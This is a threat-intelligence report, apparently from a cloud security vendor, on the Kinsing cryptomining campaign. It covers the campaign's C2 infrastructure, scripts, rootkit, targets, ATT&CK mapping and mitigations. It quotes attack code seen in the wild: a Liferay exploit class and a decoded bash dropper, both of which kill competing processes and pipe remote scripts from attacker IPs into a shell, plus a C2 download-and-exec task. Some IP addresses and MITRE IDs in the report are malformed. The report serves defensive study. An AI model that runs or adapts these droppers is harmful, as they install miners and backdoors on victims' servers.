Table of Contents

03 Executive Summary

04 Introduction

07 Uncovering Kinsing's Techniques, Tactics, and Procedures (TTPs)
  07 Kinsing's Architecture
  10 Kinsing's Attack Tools
  15 Attack Volume
  15 Kinsing Malware
  19 Kinsing's Mining Campaigns
  20 Kinsing's Rootkit

22 Kinsing's Targets
  22 Applications Kinsing Target (Vulnerabilities and Misconfigurations)
  23 Kinsing's victims in the wild (OSINT)

25 Mapping Kinsing's Campaigns to the MITRE ATT&CK Framework

26 Detection and mitigation

27 Enhancing Cloud Security with Aqua CNAPP

31 Appendix 1: IOCs Table

32 Appendix 2: In-depth analysis of scripts
  32 Type I Scripts – comprehensive analysis
  35 Type II Scripts – comprehensive analysis
  37 Auxiliary scripts analysis

46 Appendix 3: MITRE table with details
Executive summary

Kinsing first surfaced as a cybersecurity threat in 2019 and quickly became a widespread concern, attacking various applications globally. Despite extensive analysis by security professionals, little has changed, and as of 2024, new insights continue to emerge about the Kinsing operation, providing strategies for security teams to better mitigate associated risks.

Since its initial appearance, Kinsing's modus operandi has largely remained unchanged. It typically exploits vulnerable or misconfigured applications, executes an infection script, runs a cryptominer—often concealed by a rootkit—and maintains control over the server using the Kinsing malware. However, it raises the question: What precisely is Kinsing? Is it the name of the malware, the threat actor behind it, or both? Our research indicates that there is more to learn about this significant threat.

Organizations that learn from past interactions and adapt to the ever-changing threat landscape are better equipped to counter the enduring threat posed by Kinsing and similar adversaries. This report provides:

- An acknowledgment that defenders have less time than anticipated to address vulnerabilities and must take further steps to protect their environments.
- A detailed list of the applications and environments targeted by Kinsing.
- An in-depth analysis of Kinsing's techniques, tactics, and procedures.
- An examination of changing attack trends, the evolution of attack patterns, and the rapid incorporation of new vulnerabilities upon their discovery.

Understanding Kinsing's history is fundamental for devising effective defense strategies. Although regular software updates, and vigilant monitoring are critical for mitigating risks and guarding against this persistent threat, these measures alone are insufficient. Implementing runtime behavioral controls to enhance a defense-in-depth strategy is crucial. The historical data on the Kinsing malware highlights the continuous need for alertness, resilience, and collaboration within the cybersecurity community.
**Introduction**

To provide an accurate sense of the interest in Kinsing, a search for “kinsing” on Google yields over 180,000 results. Google Trends indicates that interest in Kinsing began in 2019, with the most significant spike in January 2020, followed by notable peaks in October 2021 and September 2023. These spikes correspond to various reports about specific applications targeted by Kinsing, such as Openfire.

**What Exactly is Kinsing?**

Is it the moniker of the malware, the threat actor, or both, as some articles suggest? Despite numerous reports, our research reveals that there is still significant information to be added to the body of knowledge.

The most effective way to understand threat actors’ campaigns is to comprehensively review available reports online. This was our initial step. Although we have been tracking Kinsing campaigns since their inception in 2019, we aimed to assimilate all possible insights from the cybersecurity community. We carefully analyzed select publications from our colleagues in the industry. Some of these works are exceptional pieces of research that illuminate various facets of Kinsing’s activities. Nevertheless, we sensed that the full picture was not yet complete. Our review allowed us to consolidate our understanding of Kinsing.

TrustedSec was the first to report on Kinsing, on January 15, 2020, detailing an attack that exploited CVE-2019-19781 against Citrix NetScaler for remote code execution. Until this report, the connection between the Citrix attack and Kinsing had not been made. However, we managed to retrieve the `ci.sh` script from Kinsing’s current C2 server, maintaining access even as the threat actor frequently changed download servers throughout our investigation. This script remained on the download server, unlike some (e.g., `rv.sh`) that were omitted from newer server versions. Alibaba Cloud’s security team, often credited as the initial reporters on Kinsing, followed on January 16, 2020, referring to it as h2Miner.

Our team, Aqua Nautilus, was the first to name the malware “Kinsing” in a report in April 2020 — a name that has since been widely adopted. The first known attack was actually against our misconfigured Docker API on December 15, 2019. Other reports corroborate that December 2019 marked Kinsing’s emergence in its current campaign.

In November 2020, TrendMicro published a thorough report analyzing Kinsing’s rootkit. The researchers provided an in-depth analysis of both the download script and the rootkit. Our analysis confirmed their findings regarding the rootkit’s structure and functionality.

In September 2021, CyberArk published a detailed comparison between the NSPPS malware and Kinsing malware, highlighting significant similarities in code structure, RC4 encryption keys, and function names, while also noting some differences. Their conclusion was that despite these differences, the similarities indicate that both malwares belong to the same family. NSPPS seems to be an earlier version with remote access Trojan (RAT) functionality, while Kinsing is a more recent variant with added cryptomining features and other functionalities. These similarities aid researchers in the analysis and detection process.
Throughout Kinsing's active period (2019-23), many publications have detailed specific attacks targeting a variety of vulnerabilities, misconfigurations, and environments. These include:

- Liferay CVE-2020-796 (Redteam PL)
- Unauthenticated Redis servers (TrendMicro)
- Oracle WebLogic CVE-2020-14883 (Akamai)
- Log4Shell CVE-2021-44228 (Zscaler)
- Confluence - CVE-2022-26134 (Lacework)
- Citrix ADC - CVE-2019-19781 and SaltStack - CVE-2020-11651/2 (Red Canary)
- Kubernetes (Microsoft)
- Apache Nifi (Sans), and many others.

In addition, comprehensive reports like the one from Cysiv have linked several vulnerabilities, showcasing the breadth and depth of Kinsing’s exploits.

While we can’t cover every blog, this selection highlights the wealth of write-ups, knowledge, and interest in Kinsing. Its persistent presence across our various honeypots piqued our curiosity. We started to probe deeper, asking questions like whether Kinsing is the work of a single threat actor or if its source code was leaked, leading to its widespread use. We inquired about Kinsing’s operations, target scope, primary objectives, infrastructure details, the possibility of it being a botnet (as it appeared in some publications), and more. We didn’t find a singular answer.

The infrastructure choices that we observed when gathering information may suggest a connection to Russian-speaking countries, which could imply Russian origins for the threat actor, while the frequent targeting of Chinese servers could suggest Chinese origins.
In the Russian language, “Kinsing” doesn’t translate directly to anything meaningful. The name seems to be derived from English phonetics and is unrelated to any Russian words.

If we were to search for a phonetic similarity in Russian, we could dissect it: “Kin” has no standalone meaning, but phonetically it could relate to “кин,” a root for Russian verbs associated with throwing or motion, such as “кинуть” (to throw). “Sing” phonetically resembles “синг,” which is meaningless in Russian. However, “синий” translates to “blue.” Thus, “kinsing” could whimsically translate to “blue throw,” which is nonsensical.

Similarly, examining Mandarin for phonetic matches, “Kin” could resemble “金” (jīn), meaning “gold,” or “金星” (jīnxīng), meaning “Venus,” the planet. “Sing” doesn’t match directly with Mandarin, but a similar sound, “星” (xīng), means “star.” Hence, “Kinsing” might whimsically be interpreted as “golden star,” an interpretation we find more appealing. That said, if you know of a better significance for Kinsing, we encourage you to contact us.

This report represents our endeavor to explore and address the questions surrounding Kinsing. With the help of the community, we aim to uncover answers and foster a deeper understanding of the issue. In this paper, we detail the infrastructure and operations of Kinsing, analyze the targets, and present insights from forum discussions by those who have experienced the impact of Kinsing firsthand. Our goal is to compile all pertinent information into this comprehensive report, serving as a valuable resource for anyone with an interest in Kinsing or those who have been affected by its activities.
Uncovering Kinsing’s Techniques, Tactics, and Procedures

In this chapter, we review the architecture of Kinsing’s infrastructure. Drawing on various publications, we aim to provide a more comprehensive understanding of how Kinsing has operated over the past four years.

In the second section, we delve into the artifacts associated with Kinsing. Here, we enumerate all the scripts, binaries, and exploits detected in the wild, drawing on data from our honeypots, other publications, and an extensive investigation of the Kinsing infrastructure.

The third section presents our analysis of a Kinsing malware sample that we collected.

In the fourth section, we offer an analysis of a rootkit sample used in the Kinsing campaign, which we also collected.

Kinsing’s Architecture

The Kinsing campaign has been operational since 2019, and over this period, many publications detailing its activities have surfaced. These include in-depth analyses of specific attacks or tools, as well as comprehensive reports linking multiple attacks. However, there’s a noticeable absence of a thorough write-up that encompasses the full spectrum of attacks, addresses all components, and provides a complete overview of Kinsing’s architecture. In this section, we aim to examine the attack infrastructure and operations of Kinsing, thereby elucidating its architecture.

Figure 1: Kinsing’s Openfire Campaign
We have identified three primary components in the Kinsing campaigns:

1. **Scan and exploit servers**: The initial server is responsible for scanning vulnerabilities and exploiting them. It boasts advanced scanning capabilities, likely employing tools such as masscan, and possibly has access to server databases such as Zoomeye or Shodan. While the Kinsing malware includes masscan capabilities, there’s no definitive proof that the threat actor actively uses this tool.

2. **Download servers**: These servers act as an intermediary for downloading binaries and scripts. For instance, the threat actor uses one IP address to download the main payload, a script that then fetches the Kinsing malware and, occasionally, a rootkit. From another server, the Kinsing malware downloads a Monero cryptocurrency miner.

3. **Command and control (C2) servers**: The final element, the C2 server, manages communication with compromised servers. After deployment, the Kinsing malware connects with these servers. Historically, from April 2019 to August 2020, the threat actor communicated directly using an IP address. However, from August 2020 to October 2020, the Kinsing operator started using the vocaltube.ru website for C2 interactions.

Figure 2: the website under the domain vocaltube.ru (c2 server)

![Image of vocaltube.ru](https://example.com/vocaltube.png)

This site was registered in August 2020, with the first related VirusTotal event noted in October 2020. This shift in architecture might be a strategy for defense evasion, or it could suggest that the website was compromised. Although the precise purpose of its usage is unclear, DNS requests for vocaltube.ru have been detected, along with IP-based communications between the C2 server and the victim’s machine.
We analyzed the communication with the C2 server. Over three years, we found very little change in the IP address of the C2 server. When 185.154.53.140 is resolved when vocaltube.ru is queried.

<table>
<thead>
<tr>
<th>#</th>
<th>C2 IP Address</th>
<th>Country</th>
<th>ISP</th>
<th>Usage in the attacks</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>185.154.53.140</td>
<td>Russia</td>
<td>EuroByte LLC</td>
<td>39.4%</td>
</tr>
<tr>
<td>2</td>
<td>212.22.77.79</td>
<td>Russia</td>
<td>Cloud Solutions LLC</td>
<td>38.2%</td>
</tr>
<tr>
<td>3</td>
<td>185.221.154.208</td>
<td>Russia</td>
<td>EuroByte LLC</td>
<td>22.3%</td>
</tr>
<tr>
<td>4</td>
<td>93.189.46.81</td>
<td>Russia</td>
<td>Limited Liability Company NTCOM</td>
<td>0.031%</td>
</tr>
<tr>
<td>5</td>
<td>109.248.59.253</td>
<td>Russia</td>
<td>Russia High Speed Online LLC</td>
<td>0.010%</td>
</tr>
<tr>
<td>6</td>
<td>194.169.160.157</td>
<td>Russia</td>
<td>Ztv Corp LLC</td>
<td>0.010%</td>
</tr>
<tr>
<td>7</td>
<td>185.224.212.104</td>
<td>Russia</td>
<td>2Day Telecom LLP</td>
<td>0.003%</td>
</tr>
</tbody>
</table>

The group of IP addresses used to download the scripts and binaries was a bit bigger (41) and distributed mostly among Eastern European countries:

Graph 1: Geo-location distribution of ‘Download servers’
Kinsing’s Attack Tools
We conducted an extensive analysis of the Kinsing C2 artifacts’ download server over four weeks. During this time, we observed that Kinsing frequently replaced its download servers. To gain a deeper understanding of the threat actor’s intentions and what they aimed to expose on the internet as part of their campaign, we executed several queries.

The following are some key stats and insights we gathered during this period:

1. The campaign has been active since 2019 and continues to operate.
2. The core components of the attack include the Kinsing malware and a cryptocurrency miner.
3. Three distinct groups of artifacts are identified.
4. The campaign targets 75 different applications.
5. Each week there was a new script that exploited a new remote code execution (RCE) vulnerability.
6. Kinsing targets applications and infrastructure across the entire cloud software development life cycle (SDLC).
7. Kinsing targets various operating systems with different tools. For instance, Kinsing often uses shell and Bash scripts to exploit Linux servers. We’ve also seen that Kinsing is targeting Openfire on Windows servers using a PowerShell script. When running on Unix, it’s usually looking to download a binary that runs on x86 or arm.
8. Most targeted applications (91%) are open source.
9. While Kinsing mainly targets runtime applications (67%) it also targets various other areas in cloud native environments, such as CI/CD (Jenkins), APIs (Kubernetes, Docker daemon), and code.
Figure 3: Sankey diagram of the campaign year OSS or not and targeted cloud environment. Example: Postgresql is an open-source database that was first targeted by Kinsing in 2019.

In this chart we show the relations between the first time (year) the software was targeted (Left). Type of software, Open-source or proprietary (Middle), and which environment is targeted in the Software Development Life Cycle (Right).
Our investigation revealed three distinct groups of artifacts:

**Type I and Type II scripts:** These are scripts that are downloaded after initial access is gained. These are the main payload, designed to support the attack by deploying the Kinsing malware, a cryptominer and often a rootkit, as well as to kill competition and evade detection.

**Auxiliary scripts:** These scripts are designed to accomplish initial access by exploiting a vulnerability, prepare the victim's environment, and deploy a backdoor.

**Binaries:** These are binaries that take part of the attack as a second payload, such as the Kinsing malware, the cryptominer, or exploits that are aimed to gain initial access, such as a Java class.

**Type I and Type II Scripts – Differences and Commonalities**

Both Type I and Type II scripts are designed to operate on compromised servers as primary payloads, orchestrating the attack. They share common functions, such as downloading attack components, eliminating competing malware, and evading detection.

However, there are notable differences. Type I scripts resemble a lengthy grocery list, appearing as a patchwork of snippets that include competition elimination and defense evasion tactics accumulated over time. In contrast, Type II scripts are more succinct, comprising only 454 lines compared with the 825 lines in Type I scripts, making them about half the size. As shown in Graph 2, Type I scripts primarily focus on eliminating competition (76%) and dedicate less to defense evasion. Type II scripts, however, place greater emphasis on defense evasion, both in terms of the percentage of the script dedicated to this and the actual number of code lines, primarily through deploying a rootkit.

Initially, we hypothesized that the differences between these script types were due to their age, presuming that Type I scripts were older than Type II. As supporting evidence, we saw that most of the recently written scripts were affiliated with the Type II group. However, this wasn't the case. We also considered the nature of the targeted systems but found that both scripts target the same applications, such as Laravel and Postgres. Therefore, the exact reason for the existence of two script types remains known only to the threat actor.

Type I scripts start with `#!/bin/sh` while Type II scripts start with `#!/bin/bash`. While these might seem like minor textual differences, they actually represent a huge difference. When comparing two servers, one using `sh` (the Bourne shell) and the other using `bash` (the Bourne Again shell), there are several key differences to consider in terms of tools, features, and privileges. Bash is an enhanced and extended version of sh, so it includes all the features of sh plus additional functionalities. For instance, Type II scripts, (designed to run on Bourne Again shell, bash) end with `history -c`, which typically isn't a built-in command in the Bourne shell (sh).
Another point of interest is the 75% decrease in the volume of snippets aimed at eliminating competition between Type I and Type II scripts. This raises several questions: Is there less competition among attackers on certain applications, or has the overall competition in the cloud diminished over time? Has Kinsing shifted its focus from battling for server control to enhancing its scan-detect-infect capabilities? Or has it become agnostic to competition, which might impede its main goal of mining operations and increase the risk of detection. It’s also possible that the threat actor initially included an abundance of snippets to eliminate any competition, but over time, they refined their approach, tailoring it to specific campaigns and cloud-native environments.

Graph 2: Type I scripts composition of goal, based on snippet analysis

Graph 3: Type II scripts composition of goal, based on snippet analysis
Binaries
These 12 binaries are dropped during different stages and types of attacks. Some (kinsing and kdevtmpfsi) appear in almost all of the attacks, while others support specific needs in specific servers.

**Binaries:** b, curl-aarch64, curl-amd64, kinsing, kinsing_aarch64, kinsing2, libsystem.so, LifExp.class, xmrig.exe, and kdevtmpfsi

**Kinsing binaries:** The binaries kinsing, kinsing2, kinsing_aarch64 and b are all the kinsing malware, as described below in the “Kinsing Malware” section.

**The cryptominers:** The binaries xmrig.exe, kdevtmpfsi, x, x2, x_arm and x2_arm are all an xmrig miner, as described below in the “Kinsing’s Mining Campaign” section.

**The binary lifexp.class:** This is an exploit of the Liferay RCE vulnerability (CVE-2020-7961).

Figure 4: the Liferay exploit

```java
import java.io.BufferedReader;
import java.io.File;
import java.io.FileOutputStream;
import java.net.URL;
import java.net.URLConnection;
import java.util.Random;

public class LifExp {
    static {
        try {
            String var4 = "45.158.124/Lf.sh";
            String var1 = "curl " + var4 + " | sh";
            String[] var2 = new String[]{"/bin/bash", "-c", var1};
            Runtime.getRuntime().exec(var2);
            String var3 = "wget -qO- + var6 + | sh";
            String[] var4 = new String[]{"/bin/bash", "-c", var3};
            Runtime.getRuntime().exec(var4);
            Random var5 = new Random();
            var5.setSeed(System.currentTimeMillis());
            String var6 = "kinsing" + var5.nextInt();
            File var7 = new File(var6);
            URL var8 = new URL("http://45.158.124/kinsing2");
            URLConnection var9 = var8.openConnection();
            var9.setRequestProperty("User-Agent", System.getProperty("java.version")
            + " + System.getProperty("os.name").toLowerCase());
            BufferedReader var10 = new BufferedReader(var9.getInputStream());
            << Truncated >>
        }
    }
}
```
Attack Volume

Upon analyzing the Kinsing campaigns against our honeypots, we discerned varying attack trends. Some honeypots were assaulted dozens of times daily, while others experienced only several attacks. On average, honeypots were targeted by Kinsing eight times per day, with the number of attacks ranging from three to 50. For example, our misconfigured Docker API honeypot faced an average of 50 attacks daily, fluctuating from hundreds to several daily. This pattern was consistent with other honeypots. Our Jenkins honeypot underwent an average of 0.2 to 13 attacks per day, depending on the month, while PostgreSQL encountered between 0.8 and 60 daily attacks on average.

These attacks varied across specific software types, suggesting that the Kinsing threat actor is continually shifting targets, focusing on particular applications at different times. When new vulnerabilities are disclosed, they naturally become a priority, but they may also gain increased attention months later.

Our Shodan search revealed 2.5 million instances of the various applications targeted, indicating that Kinsing's scanning operation is probing millions of instances.

Our research indicates that the Kinsing threat actor incorporates new vulnerabilities upon their release. Over three months, we observed Kinsing targeting five new vulnerabilities as soon as they were included in the attack scripts.

Kinsing Malware

In September 2021, CyberArk published “Kinsing: The Malware with Two Faces,” a wonderful blog that analyzes the binary of Kinsing while comparing it with another malware family: NSPPS. We took this analysis as a baseline for our analysis and compared the differences.

In their blog, CyberArk found several samples of Kinsing. One of the samples (SHA256: d247687e9bdb8c4189ac54d10ef029aee1e2e2af78b94a693113f382619a175b) was analyzed thoroughly and considered as a baseline in the blog. CyberArk noted that the binary weighed 16.87 mb. Other samples were found to be smaller, weighing 5 to 6 mb. The researcher speculated that the difference in size between the various samples in the wild may have stemmed from Kinsing testing various versions of the malware or researchers only published partial part of the binaries they analyzed.

In our work we tested our database to understand how many samples of kinsing we had. We found 1,550 distinct binaries that bear the name kinsing or kinsing%%%%% (when % is a random digit or letter).
As seen above, the top five samples appeared in the various attacks covering more than 90% of all the attacks we’ve seen. That means that the most interesting samples are 5d253 and 787e2. We focused on the first sample and compared it with the findings in CyberArk’s report to learn about the changes in the kinsing binary over time.

The first distinguished difference is in terms of size. As mentioned above, sample d2476 was 16.87 mb, while our sample 5d253 was 6.02 mb. When reviewing the differences between the two samples, we see that the main functionality cited in the CyberArk report remained the same. One of the main differences was that the older version used pkger, which is a tool for embedding static files into Go binaries. These functions can’t be found in the newer versions.
Next, it’s written to /tmp under the name kdevtmpfsi, which is obviously the cryptominer, so in the older version of kinsing the malware contained an embedded version of the cryptominer that was used.

We now have a new hypothesis to raise to compete with or challenge the one raised by CyberArk researchers. It could be that the threat actor was looking to or did test the use of a binary with the cryptominer embedded inside. It looks like it did catch – probably not then (because we know that kinsing MO is to download the cryptominer from a remote source) and definitely not now because we see de facto that most of the binaries weight 5 to 6 mbs.

We found various functions that appear in both files. One of them is gopsutil. In the older kinsing, the version is v2.19.10, while in the newer it’s v3.21.11.
In addition, we also inspected the kinsing dynamically. Using Tracee, an open source runtime security tool, we collected network logs and monitored the communication. As seen in the table below, these are the C2 communication recorded:

<table>
<thead>
<tr>
<th>#</th>
<th>URL</th>
<th>Request Type</th>
<th>Additional Input</th>
<th>Goal</th>
<th>Response</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>/i</td>
<td>GET</td>
<td></td>
<td>Set log</td>
<td>OK</td>
</tr>
<tr>
<td>2</td>
<td>/i</td>
<td>POST</td>
<td>Data</td>
<td>Sends log data to C2 server</td>
<td>OK</td>
</tr>
<tr>
<td>3</td>
<td>/r</td>
<td>POST</td>
<td></td>
<td>Sends results</td>
<td>OK</td>
</tr>
<tr>
<td>4</td>
<td>/o</td>
<td>POST</td>
<td>&quot;{&quot;Id&quot;:802, Data&quot;:&quot;&quot;&quot;}&quot;</td>
<td>Send Exec output to C2 server</td>
<td>OK</td>
</tr>
<tr>
<td>5</td>
<td>/s</td>
<td>POST</td>
<td>&quot;{ &quot;User&quot;:&quot;jFcypPQo&quot;, &quot;Pass&quot;:&quot;AcFAYwAE&quot;, &quot;Port&quot;:31119 }&quot;</td>
<td>Send new SOCKS5 server's user/pass/TCP port to C2 server</td>
<td>OK</td>
</tr>
<tr>
<td>6</td>
<td>/ms</td>
<td>POST</td>
<td>&quot;{&quot;Pid&quot;:0}&quot;</td>
<td>Send miner's process ID</td>
<td>OK</td>
</tr>
</tbody>
</table>
| 7  | /mg | GET          |                  | Checks if the cryptominer is running and provides the PID of the miner | Example: 301 or The PID number example: "{"Pid":0}"
| 8  | /ki | POST         |                  | Request kill process data | Example: {"Exe": ["app/Cli", ".perf.c", "perfctl", "kthreaddi", "kthreaddk", "xmrig", <<TRUNCATED>> "atlas.x86", "dotsh"], "Files": [], "Lol": ["lol"]} |
| 9  | /h2 | GET          |                  | Health/connectivity check | OK |
| 10 | /get | GET          |                  | Fetch the next “task” from C2 server | Example: 
{"Id":802, "Type":"download_and_exec", "Progress":227960, "Total":1254856, "Thread":1, "Port":1, "Timeout":1, "Data": http://194[.]38.22.53/spre.sh}
Kinsing's Mining Campaigns

The main goal of Kinsing is to mine Monero. It does this by running a version of XMRIG. Over the years, we haven't seen any significant changes in this binary.

We analyzed the miner processes and found that it used the wallet 44MtPEE...

We inspected the wallet over two months and estimated that its average annual revenue would be 18 XMR, or 3,100 USD, which is quite modest for this kind of operation. It could be that we've failed to understand the full scope of the mining operation.

Figure 6: the cryptominer configuration

Figure 7: the cryptominer mining blocks

Figure 8: Kinsing's wallet activity
Kinsing’s Rootkits
In the Type II scripts, a rootkit is downloaded and executed to conceal the presence of Kinsing’s attack components on the infected system.

Figure 9: Altering LD_preload by Kinsing

As illustrated in Figure 9, the rootkit is installed into the /etc/libsystem.so directory. Then, the /etc/ld.so.preload file is manipulated to ensure that the rootkit is loaded early in the process startup sequence, even before standard libraries like libc.so. This technique ensures that the rootkit is deeply embedded and hard to detect.

Technical Analysis of the Rootkit
The rootkit contains encrypted lists of what to hide and how to hide it, including specific files and network connections. It hooks into various system functions to control what’s visible and what isn’t. For example, it can hide its own process files and network connections from system monitoring tools.

The rootkit specifically targets files and processes related to the Kinsing malware (like kinsing, kdevtmpfsi, and lib_system.so) and makes them invisible to normal system inspection tools. Rootkits often hook into various system functions to manipulate the behavior of an operating system, often for malicious purposes like hiding their presence or the presence of other malware. Here’s an elaboration on what each of the listed functions typically does and how a rootkit might manipulate them:

1. **access**: Checks user’s permissions for a file. Kinsing’s rootkit hooks various files to return that these files (kinsing, kdevtmpfsi, etc) don’t exist.

2. **rmdir**: Removes a directory. Kinsing’s rootkit could intercept commands aimed at deleting certain directories like those containing malware components.

3. **open**: Opens a file. Kinsing’s rootkit might hook this to hide the opening of certain files or to intercept and modify data being read from or written to a file.

4. **readdir / readdir64**: Reads directory entries. Kinsing’s rootkit can manipulate these functions to hide specific directories or files from directory listings.
Uncovering Kinsing's Techniques, Tactics and, Procedures

<table>
<thead>
<tr>
<th>5</th>
<th><strong>stat / stat64 and __xstat / __xstat64</strong>: Retrieves information about a file. Kinsing’s rootkit might alter the results to hide file modifications or the existence of certain files.</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td><strong>lstat / lstat64 and __lxstat / __lxstat64</strong>: Similar to stat, but for symbolic links. Kinsing’s rootkit can manipulate these to hide or change information about links, especially those pointing to malicious files.</td>
</tr>
<tr>
<td>7</td>
<td><strong>fopen / fopen64</strong>: Opens a file and returns a file stream. Kinsing’s rootkit might hook this to control access to specific files or to manipulate file contents.</td>
</tr>
<tr>
<td>8</td>
<td><strong>link</strong>: Creates a new hard link to an existing file. Kinsing’s rootkit could use this to create unauthorized links to sensitive files or to protect malware files.</td>
</tr>
<tr>
<td>9</td>
<td><strong>unlink</strong>: Deletes a name from the filesystem. If a name was the last link to a file and no processes have the file open, the file is deleted. Kinsing’s rootkit might intercept this to prevent deletion of certain files.</td>
</tr>
<tr>
<td>10</td>
<td><strong>unlinkat</strong>: Similar to unlink, but can operate on a directory file descriptor. Kinsing’s rootkit might hook this to protect specific files or directories from being deleted.</td>
</tr>
</tbody>
</table>

By hooking these functions, the kinsing rootkit can effectively control how the operating system interacts with files, directories, and file information. This allows the rootkit to hide its presence and the presence of other malware, manipulate file operations, and maintain persistence on the infected system. Such manipulations can be very challenging to detect and remove.

It’s worth mentioning TrendMicro’s excellent analysis is from 2020, and since it’s exactly the same hash value: 
(SHA256=C38C21120D8C17688F9AEB2AF5BDAFB6B75E1D2673B025B720E50232F888808A) we can conclude that the Kinsing threat actor is satisfied with this tool and thus invested no attention to improve the rootkit over these past three years.
Kinsing’s Targets

Targets can be categorized into two groups: the applications and environments that Kinsing targets, and the personal accounts of the victims encountered in the wild. In this chapter, we present an analysis of both aspects.

Applications that Kinsing Targets (Vulnerabilities and Misconfigurations)

Over the past five years, we’ve identified at least 75 software applications that have been targeted by Kinsing. Our observations indicate that Kinsing exploits both vulnerabilities and misconfigurations. For example, there are instances of misconfigured Docker APIs without authentication, allowing anyone to deploy a container. In such cases, an Alpine container is deployed with a malicious command that downloads and executes the script d.sh. It appears that the majority of the software targeted by Kinsing is targeted because of vulnerabilities. Notably, the recent vulnerabilities in Openfire and RocketMQ were exploited within one to two weeks after their disclosure.

In Appendix 3, we provide a comprehensive list of the applications and environments targeted, as per our analysis. Our analysis is not exhaustive. Even with the assistance of ChatGPT, we were unable to complete the list of targets, as some remain unclassified. We encourage you to share your insights or hypotheses regarding the potential targeted applications or environments, which could help us in presenting a more complete assessment of the threat landscape.

Figure 10: Kinsing’s targeted applications
Kinsing’s victims in the wild (OSINT)

You can see many questions in programmers’ forums such as Stack Overflow, ask ubuntu, GitHub, and forums for a specific application that Kinsing targeted, as well as a plethora of questions in Chinese-speaking forums.

While decoding the base64 is fairly easy, without doing so, it’s very hard to understand what’s going on here. Once it’s decoded, as illustrated in Figure 12, there are some basic commands of process kill, implementation of curl and a command to download the primary payload pg2.sh.

```bash
#!/bin/bash
kill -f zsvc
kill -f pdefenderd
kill -f updatecheckerd

function _curl() {
  read proto server path <<<$(echo $1)
  DOC=$2
  HOST=$3
  PORT=$4
  ["x"$HOST"=""$PORT"] && PORT=80
  exec 3<>/dev/tcp/$HOST/$PORT
  echo -e "GET $DOC HTTP/1.0\r\nHost: $HOST\r\n\n" >&3
  (while read line; do
    [[ "$line" == "$RESP" ]] && break
  done &> cat) <&3
  exec 3>&-}

if [ -x "$(command -v curl)" ]; then
  curl 194.48.243.285/pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
  wget -q -O 194.48.243.285/pg.sh|bash
else
fi
```
Another example taken from the Laravel forum on Reddit, as the programmer is providing some evidence of infection and how this can be detected and fixed.

These examples illustrate the justified and understandable security knowledge and experience gaps that programmers, data engineers and other practitioners display when facing these troubling indications. The abundance of such indications also illustrates Kinsing's scope and the extent of its attacks.

Figure 13: A forum post about Kinsing
## Mapping Kinsing’s Campaigns to the MITRE ATT&CK Framework

Our investigation showed that Kinsing has used some common techniques throughout the campaigns (further details in Appendix 2):

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Command and Scripting Interpreter: PowerShell (T1059.001)</td>
<td>File and Directory Permissions Modification: Linux File and Directory Permissions Modification (T1546.004)</td>
<td>File and Directory Permissions Modification: Linux File and Directory Permissions Modification (T1222.001)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>System Services: Service Execution (T1569.002)</td>
<td>Scheduled Task/Job: Cron (T1053.003)</td>
<td>Obfuscated Files or Information: Software Packing (T1027.002)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Container Administration Command (T1609)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Deploy Container (T1610)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>External Remote Services (T1113)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Scheduled Task/Job: Cron (T1053.003)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Command and Scripting Interpreter: Python (T1059.006)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Detection and mitigation

Kinsing targets Linux and Windows systems, often by exploiting vulnerabilities in web applications or misconfigurations such as Docker API and Kubernetes to run cryptominers. To detect Kinsing and similar malware, one can employ a combination of methods:

**Threat intelligence**
- **Information**: Keep up to date with the latest threat intelligence reports on tactics, techniques, and procedures used by Kinsing operators.
- **Known Indicators of Compromise (IoCs)**: such as the ones included in this report.
- **Awareness**: Train staff to recognize signs of a compromise, such as phishing attempts that could introduce Kinsing into the network.

**Vulnerability management**
- **Patch management**: Regularly update and patch systems to close off vulnerabilities that Kinsing could exploit.
- **Configuration audits**: Regularly audit configurations, especially for exposed services like Docker, to ensure they’re not misconfigured.

**Container security**
- **Docker daemon security**: Ensure the Docker daemon isn’t exposed to the internet without proper authentication.
- **Container monitoring**: Implement monitoring solutions specifically designed for containerized environments.

**Behavioral analysis**
- **Anomaly detection**: Employ systems that can learn baseline behavior and detect anomalies.
- **CPU and memory usage monitoring**: Continuous high usage can indicate cryptomining activity.
- **System performance monitoring**: A sudden drop in system performance might suggest malicious processes are running.
- **Unusual processes**: Look for processes that aren’t typically part of the system’s operations.
- **Process names**: Kinsing may attempt to masquerade as a legitimate process but may be detected by close inspection of process names and paths.
- **Unusual outbound traffic**: Check for an increased volume of outbound traffic, especially to known mining pools.
- **Network connections**: Look for connections to suspicious IP addresses and ports typically used by miners.
- **Unexpected changes**: Monitor for unexpected changes to system files and directories.
- **Rootkits**: Look for signs of rootkit installation that can hide malicious activity.
Enhancing Cloud Security with Aqua CNAPP

In today’s landscape of escalating cyber threats, organizations need to establish a comprehensive multi-layered security strategy to safeguard their digital transformation. The Aqua Cloud Native Application Protection Platform (CNAPP) provides robust end-to-end protection for your cloud native applications, mitigating risks across the full lifecycle and fortifying workloads against attacks in production.

